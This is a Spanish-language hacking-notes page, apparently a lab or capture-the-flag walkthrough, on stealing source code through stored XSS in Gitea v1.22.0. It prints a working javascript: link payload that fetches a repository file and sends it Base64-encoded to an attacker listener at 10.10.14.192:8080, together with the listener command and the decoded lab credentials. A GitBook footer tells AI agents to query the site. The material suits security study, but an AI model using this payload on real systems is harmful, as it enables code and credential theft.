> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md).

# Robo de código fuente mediante XSS

### XSS en Gitea (v1.22.0)

En `http://localhost:3000` -> **Gitea** es accesible.

<figure><img src="/files/5d36899c9cc437c398d0d1cea3242618b92c2706" alt=""><figcaption></figcaption></figure>

Conexión con las credenciales de Axel.

<figure><img src="/files/e97f019da893a220c4d7a2d670d588072a198d21" alt=""><figcaption></figcaption></figure>

Vulnerabilidad XSS conocida.

<figure><img src="/files/a6083c2c9c840ae9b8b62271c91a60ed42de32bc" alt=""><figcaption></figcaption></figure>

Creamos un proyecto con una descripción que contiene:

```bash
<a href=javascript:alert()>Prueba XSS</a>

```

<figure><img src="/files/2b15022e285dd47009ff17f0a97a2d6f292a735d" alt=""><figcaption></figcaption></figure>

* Resultado:

<figure><img src="/files/f197289b0db49c8f1a2d71e0784390179e7df7c6" alt=""><figcaption></figcaption></figure>

### Correo interceptado mediante LinPEAS

<figure><img src="/files/e42f783834906bfaf1d2878aa0f856bc19552cfb" alt=""><figcaption></figcaption></figure>

contenido de un correo electrónico:

* jobert\@localhost debe verificar el repositorio Gitea

<figure><img src="/files/3d05f792cb3ce85581c063c7fc0c4b35cc47cb21" alt=""><figcaption></figcaption></figure>

Enviamos un enlace XSS que contiene un script de exfiltración que lee el contenido de la página `index.php` del repositorio Gitea, lo codifica en Base64 y luego lo envía a nuestro servidor web

{% code overflow="wrap" %}

```bash
<a href="javascript:fetch('http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php').then(response => response.text()).then(data => fetch('http://10.10.14.192:8080/?d=' + encodeURIComponent(btoa(unescape(encodeURIComponent(data))))));">PWNED</a>

```

{% endcode %}

<figure><img src="/files/a228637e61ec35e12a78e42bfc5eb546404a1029" alt=""><figcaption></figcaption></figure>

#### A través de nuestro servidor web

```bash
python -m http.server 8080

```

<figure><img src="/files/752d82dd3c49fc60b55738db1ced01d8a7f0d2e7" alt=""><figcaption></figcaption></figure>

#### Contenido exfiltrado (decodificado en Base64):

```bash
echo "PD9waHAKJHZhbGlkX3VzZXJuYW1lID0gJ2FkbWluJzsKJHZhbGlkX3Bhc3N3b3JkID0gJ0lLdzc1ZVIwTVI3Q01JeGhIMCc7CgppZiAoIWlzc2V0KCRfU0VSVkVSWydQSFBfQVVUSF9VU0VSJ10pIHx8ICFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwgCiAgICAkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddICE9ICR2YWxpZF91c2VybmFtZSB8fCAkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSAhPSAkdmFsaWRfcGFzc3dvcmQpIHsKICAgIAogICAgaGVhZGVyKCdXV1ctQXV0aGVudGljYXRlOiBCYXNpYyByZWFsbT0iRW1wbG95ZWUgTWFuYWdlbWVudCInKTsKICAgIGhlYWRlcignSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCcpOwogICAgZXhpdDsKfQoKaGVhZGVyKCdMb2NhdGlvbjogZGFzaGJvYXJkLnBocCcpOwpleGl0Owo%2FPgoK" | base64 -d

```

* $valid/\_username = 'admin';
* $valid/\_password = 'IKw75eR0MR7CMIxhH0';

<figure><img src="/files/aae5edd25e8e9acdcb29067e692a6c3b2315f7d7" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-cross-site-scripting-xss/xxs-source-code-theft.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
